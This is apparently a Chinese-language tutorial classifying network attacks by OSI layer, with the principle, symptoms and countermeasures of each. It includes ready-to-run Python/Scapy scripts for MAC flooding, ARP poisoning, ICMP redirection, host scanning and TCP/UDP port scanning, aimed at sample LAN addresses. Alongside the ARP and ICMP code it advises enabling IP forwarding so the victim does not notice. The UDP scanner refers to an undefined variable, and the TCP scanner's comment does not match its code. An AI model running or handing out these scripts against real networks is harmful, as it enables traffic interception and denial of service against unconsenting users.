常見的網路攻擊攻防方法
常見的網路攻擊,按照osi七層協議,可以分為:
1,物理層 線路偵聽
2,資料鏈路層 mac_flood
3,網路層 arp_poison,icmp_redirection
4,傳輸層 tcp_flood(包含ack_flood和syn_flood),udp_flood(ntp,dns)
7,應用層 connection_flood,http_get等等,
按照攻擊目的,可以分為:
中間人攻擊(為了獲得網路資料):mac_flood,arp_poison,icmp_redirection
拒絕服務攻擊:tcp_flood,udp_flood,connection_flood,http_get
按照攻擊者的位置,可以分為:
攻擊者必須與攻擊目標處於同一網段:mac_flood,arp_poison,icmp_redirection,線路偵聽
不必處於同一網段:其他
=======================mac_flood===================================
原理:
mac地址泛洪,通過傳送大量的隨機源mac地址幀,攻擊交換機的mac地址表,使換機的mac地址表填滿,並拒絕增加新的合法mac地址條目。一旦網段裡主機的mac地址無法增加進交換機的mac地址表,該主機的幀將被廣播,攻擊者將會收到該主機的網路資訊。
表現:
突然的,網段中所有主機將會收到大量廣播幀。
解決方法:
在交換機上做配置,限制每個埠匹配mac地址的總數。
攻擊程式碼:
from scapy.all import *
import time
class Mac_flood:
def __init__(self,times):
self.times = times
self.frame = Ether(dst=RandMAC('*:*:*:*:*:*'),src=RandMAC('*:*:*:*:*:*'))/IP(src=RandIP('*.*.*.*'),dst=RandIP('*.*.*.*'))
def flood (self):
for i in xrange(99999):
t1 = time.time()
sendp(self.frame,loop=1,count=self.times)
t2 = time.time()
print 'it takes',t2-t1,'seconds to send',self.times,'frames...'
if __name__ =='__main__':
mac_flood = Mac_flood(10000)
mac_flood.flood()
==========================arp_poison===========================
原理:
利用arp協議的漏洞,攻擊目標主機或網的arp列表,擷取目標主機或網管的流量。攻擊目標一般是對目標主機和網關同時進行。
表現:
網段中有ip地址突然改變mac地址。
解決方法:
主機使用靜態的arp列表,對閘道器進行繫結。有條件的話,網管也要使用靜態德arp列表,對主機繫結。
攻擊程式碼:
tool.py
import os
import time
class Tool:
def __init__(self):
pass
def enable_routing(self):
os.system('sysctl net.ipv4.ip_forward=1')
print 'start to route.'
def disable_routing(self):
os.system('sysctl net.ipv4.ip_forward=0')
print 'routing finished.'
def set_mac(self,iface,mac):
os.system('ifconfig '+iface+' down')
time.sleep(1)
os.system('ifconfig '+iface+' hw ether '+mac)
time.sleep(1)
os.system('ifconfig '+iface+' up')
time.sleep(1)
print 'set_mac,mac is',mac
def reset_mac(self):
os.system('ifconfig enp3s0 down')
time.sleep(1)
os.system('ifconfig enp3s0 hw ether '+'34:64:a9:12:60:73')
time.sleep(1)
os.system('ifconfig enp3s0 up')
time.sleep(1)
print 'reset_mac,mac is :34:64:a9:12:60:73'
def set_promisc(self,iface):
os.system('ifconfig '+iface+' promisc')
print 'set promisc'
def set_non_promisc(self,iface):
os.system('ifconfig '+iface+' -promisc')
print 'set non_promisc'
if __name__=='__main__':
tool=Tool()
tool.enable_routing()
#tool.set_mac('enp3s0','00:11:22:22:22:22')
#tool.reset_mac()
#tool.set_non_promisc('enp3s0')
先開啟本機的路由功能,使得擷取的流量依然能夠到達目標主機,以免目標主機察覺。
arp_poison.py
from scapy.all import *
import time
import os
class Arp_poison:
def __init__(self,gateway_ip,victim_ip,iface):
self.gateway_ip = gateway_ip
self.victim_ip = victim_ip
self.iface = iface
def poison(self):
#get mac from gateway and victim
answer_gateway = srp1(Ether(dst='ff:ff:ff:ff:ff:ff')\
/ARP(pdst=self.gateway_ip),timeout=5,iface=self.iface)
if answer_gateway is None:
print 'there is no answer comes from gateway!'
return -1;
answer_victim = srp1(Ether(dst='ff:ff:ff:ff:ff:ff')\
/ARP(pdst=self.victim_ip),timeout=5,iface=self.iface)
if answer_victim is None:
print 'there is no answer comes from victim!'
return -1;
self.gateway_mac = answer_gateway.hwsrc
self.victim_mac = answer_victim.hwsrc
self.local_mac = answer_victim.dst
#print mac info
print 'gateway_mac is :',self.gateway_mac
print "victim_mac is :",self.victim_mac
print 'local_mac is :',self.local_mac
#forge arp packet
to_gateway = Ether(src='00:00:00:00:00:00',dst=self.gateway_mac)\
/ARP(op=2,hwsrc=self.local_mac,psrc=self.victim_ip,\
hwdst='00:00:00:00:00:00',pdst='0.0.0.0')
to_victim = Ether(src='00:00:00:00:00:00',dst=self.victim_mac)\
/ARP(op=2,hwsrc=self.local_mac,psrc=self.gateway_ip,\
hwdst='00:00:00:00:00:00',pdst='0.0.0.0')
#send it
for i in xrange(99999):
sendp([to_gateway,to_victim],iface=self.iface)
time.sleep(0.5)
if __name__ == '__main__':
arp_poison = Arp_poison('192.168.1.1','192.168.1.202','enp3s0')
arp_poison.poison()
===============================icmp_redirect===================
原理:
攻擊目標主機的路由表,使之定向到攻擊者。
表現:
路由表發生改變,一般情況下是預設路由發生改變。
解決方法:
關閉icmp協議
攻擊程式碼:
from scapy.all import *
import time
class Icmp_redirection:
def __init__(self,victim_ip,gateway_ip,iface):
self.victim_ip=victim_ip
self.gateway_ip=gateway_ip
self.iface=iface
def redirect(self):
#get victim_mac,gateway_mac
answer_victim = srp1(Ether(dst='ff:ff:ff:ff:ff:ff')\
/ARP(pdst=self.victim_ip),timeout=5,iface=self.iface)
if answer_victim is None:
print 'there is no answer comes from victim.'
answer_gateway = srp1(Ether(dst='ff:ff:ff:ff:ff:ff')\
/ARP(pdst=self.gateway_ip),timeout=5,iface=self.iface)
if answer_gateway is None:
print 'there is no answer comes from gateway!'
self.gateway_mac = answer_gateway.hwsrc
self.victim_mac = answer_victim.hwsrc
self.local_mac = answer_victim.dst
self.local_ip = answer_victim.pdst
print 'gateway_mac is ',self.gateway_mac
print 'victim_mac is ',self.victim_mac
print 'local_mac is ',self.local_mac
print 'local_ip is ',self.local_ip
time.sleep(2)
print 'start to redirect'
time.sleep(0.5)
#forge icmp data
to_victim = Ether(src=self.gateway_mac,dst=self.victim_mac)\
/IP(src=self.gateway_ip,dst=self.victim_ip)\
/ICMP(type=5,code=1,gw=self.local_ip)\
/IP(src=self.victim_ip,dst='0.0.0.0')
to_victim.show()
#send it
sendp(to_victim,loop=1,count=99999,inter=0.5)
def cancel_redirect(self):
pass
if __name__ == '__main__':
ir=Icmp_redirection('192.168.1.202','192.168.1.1','enp3s0')
ir.redirect()
攻擊前,要記得開啟路由功能,以免目標主機察覺。
===================================================================
以上三種攻擊,均為中間人攻擊,要求攻擊者與被攻擊者在同一網段,能夠竊取目標主機的流量資訊,危害嚴重。下面的攻擊均為拒絕服務攻擊,不要求在同一網段,不能夠竊取目標主機的流量資訊,以攻擊目標主機,使之無法正常工作為目標,危害相對較小。
==================================================================
=================================syn_flood========================
原理:
tcp連線的三次握手過程中,例如a想與b建立tcp連線,三次握手分別是:1,a傳送syn給b。2,b傳送syn和ack給a。3,a傳送ack給b。
對於b,每當收到來自a的syn,b都要分配一段記憶體,存放ip地址,埠號,序列號,時間戳等資訊。如果a傳送大量的syn請求,b就會不斷的分配記憶體,結果會是:1,b的記憶體耗盡,無法相應服務請求,或是2,佇列被填滿,無法響應新來的合法的請求。無論是那種情況,結果都是拒絕服務。
表現:
伺服器收到大量syn請求,並且該請求均無下文。
解決方法:
解決方法大體可以分為三類:
1,根據syn請求包的邏輯來判斷syn請求是否合法,例如syn重傳
2,修改主機作業系統相關引數,提高作業系統對syn_flood的防禦能力,例如縮短syn_timeout時間,減小重發次數,增加佇列容量
3,syn_cookie和syn_proxy
syn_cookie將需要儲存在記憶體中的資訊,通過一個hash函式,計算出一個cookie值,作為序列號,傳送給對方,在收到syn後並不立即分配記憶體,而是等到收到ack,並驗證後在分配記憶體,一定程度上解決了syn_flood攻擊的問題(解決的問題是:收到syn不再立即分配記憶體了)。但是,使用syn_cookie,提高了cpu的計算壓力(在於收到syn要計算cookie值,收到ack後要驗證),實質上是一種用cpu計算資源換取記憶體空間的方案。並且,使得主機對於ack_flood攻擊更加敏感。
syn_proxy是一種,將對於主機的tcp_flood攻擊轉嫁到syn_proxy上的方案。
攻擊程式碼:
略
===============================ack_flood========================
原理:
主機在收到ack後,會查詢佇列種是否存在相應的syn,如果沒有,則直接丟棄ack。因此ack_flood本來是一種較弱的網路攻擊。但是,當主機打開了syn_cookie後,主機要處理的事情就變得複雜了,要通過複雜的計算,驗證ack的合法性。因此,ack_flood主要攻擊使用了syn_cookie的主機,使之cpu計算資源耗盡,拒絕服務。
表現:
同syn_flood,只不過ack標誌為1,syn標誌為0
解決方法:
參考syn_flood
=============================ntp_flood==========================
原理:
ntp_flood是一種反射型udp攻擊,有兩個特點:1,攻擊者不直接攻擊目標主機,而是構造包,將流量發給提供ntp(network time protocol)服務的主機。2,通過了ntp主機後,流量會被放大,造成目標主機網路擁堵。
表現:
主機收到大量的ntp流量
解決方法:
1,找運營商清洗流量
2,找到攻擊者本人解決
==============================dns_flood=========================
原理:
傳送大量的dns查詢報文,使得dns伺服器資源耗盡。
表現:
略
解決方法:
略
============================ip掃描和埠掃描=====================
ip掃描,掃描網段內開啟的主機
from scapy.all import *
import time
class Ip_scan:
def __init__(self):
pass
def scan(self,ip_set):
arp_packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip_set)
ans,uans = srp(arp_packet,timeout=3)
alive_ip_list=[]
for (send,receive) in ans:
alive_ip_list.append(receive.getlayer('ARP').psrc)
alive_ip_list.sort()
for i in alive_ip_list:
print "alive host :",i
if __name__ == '__main__':
ip_scan = Ip_scan()
ip_scan.scan('192.168.1.1/24')
掃描tcp埠
原理是:傳送ack給目標主機的埠,如果無返回,則說明該埠被過濾,如果返回icmp不可達,說嗎埠關閉,如果返回syn+ack,則說明埠是開放的。
from scapy.all import *
import time
class Tcp_scan:
def __init__(self):
pass
def scan(self,ip_addr,port_set):
filtered_port_list=[]
opened_port_list=[]
closed_port_list=[]
tcp_segment = IP(dst=ip_addr)/TCP(dport=port_set,flags='S')
print 'start to scan ',ip_addr
ans,uans = sr(tcp_segment,timeout=3)
for i in uans:
filtered_port_list.append(i.getlayer('TCP').dport)
for (send,receive) in ans:
if receive.haslayer('ICMP'):
if receive.getlayer('ICMP').type == 3 and\
receive.getlayer('ICMP').code == 3:
closed_port_list.append(send.getlayer('TCP').dport)
else:
print 'get a ??? icmp answer,type is :'\
,receive.getlayer('ICMP').type,'and code is:'\
,receive.getlayer('ICMP').code,'...'
elif receive.haslayer('TCP'):
flags = receive.getlayer('TCP').flags
if flags == 18:
opened_port_list.append(receive.getlayer('TCP').sport)
else:
closed_port_list.append(receive.getlayer('TCP').sport)
filtered_port_list.sort()
closed_port_list.sort()
opened_port_list.sort()
print 'open port is :',opened_port_list
print '###############################'
print 'closed port is :',closed_port_list
print '###############################'
print 'filtered_port_list is :',filtered_port_list
if __name__ == '__main__':
tcp_scan = Tcp_scan()
tcp_scan.scan('192.168.1.202',(1,1025))
掃描udp埠
原理是:傳送udp資料,如果返回udp,說明埠是開放的。如果返回icmp不可達,說明埠關閉。如果返回icmp,type為3,code為1,2,9,10,13,說明埠被過濾了。如果無迴應,則有可能是過濾或者關閉。
from scapy.all import *
import time
class Udp_scan:
def __init__(self):
pass
def scan(self,ip_addr,port_set):
udp_datagram = IP(dst=ip_addr)/UDP(sport=3000,dport=port_set)
print 'scan host',ip_addr,'......'
ans,uans = sr(udp_datagram,timeout=3)
open_port_list = []
closed_port_list = []
filtered_port_list = []
for (send,receive) in ans:
if receive.haslayer('UDP'):
open_port_list.append(i[1].getlayer('UDP').sport)
if receive.haslayer('ICMP'):
if (receive.getlayer('ICMP').type==3) and \
(receive.getlayer('ICMP').code==3):
closed_port_list.append(send.getlayer('UDP').dport)
if (receive.getlayer('ICMP').type==3) and \
receive.getlayer('ICMP').code in [1,2,9,10,13]:
filtered_port_list.append(send.getlayer('UDP').dport)
print 'open port :',open_port_list
print '#######################'
print 'closed port :',closed_port_list
print '#######################'
print 'filtered port :',filtered_port_list
print '######################'
print 'other port may be in filtered or opened state!!!!!!!!!!'
if __name__ == '__main__':
udp_scan=Udp_scan()
udp_scan.scan('192.168.1.202',(1,1024))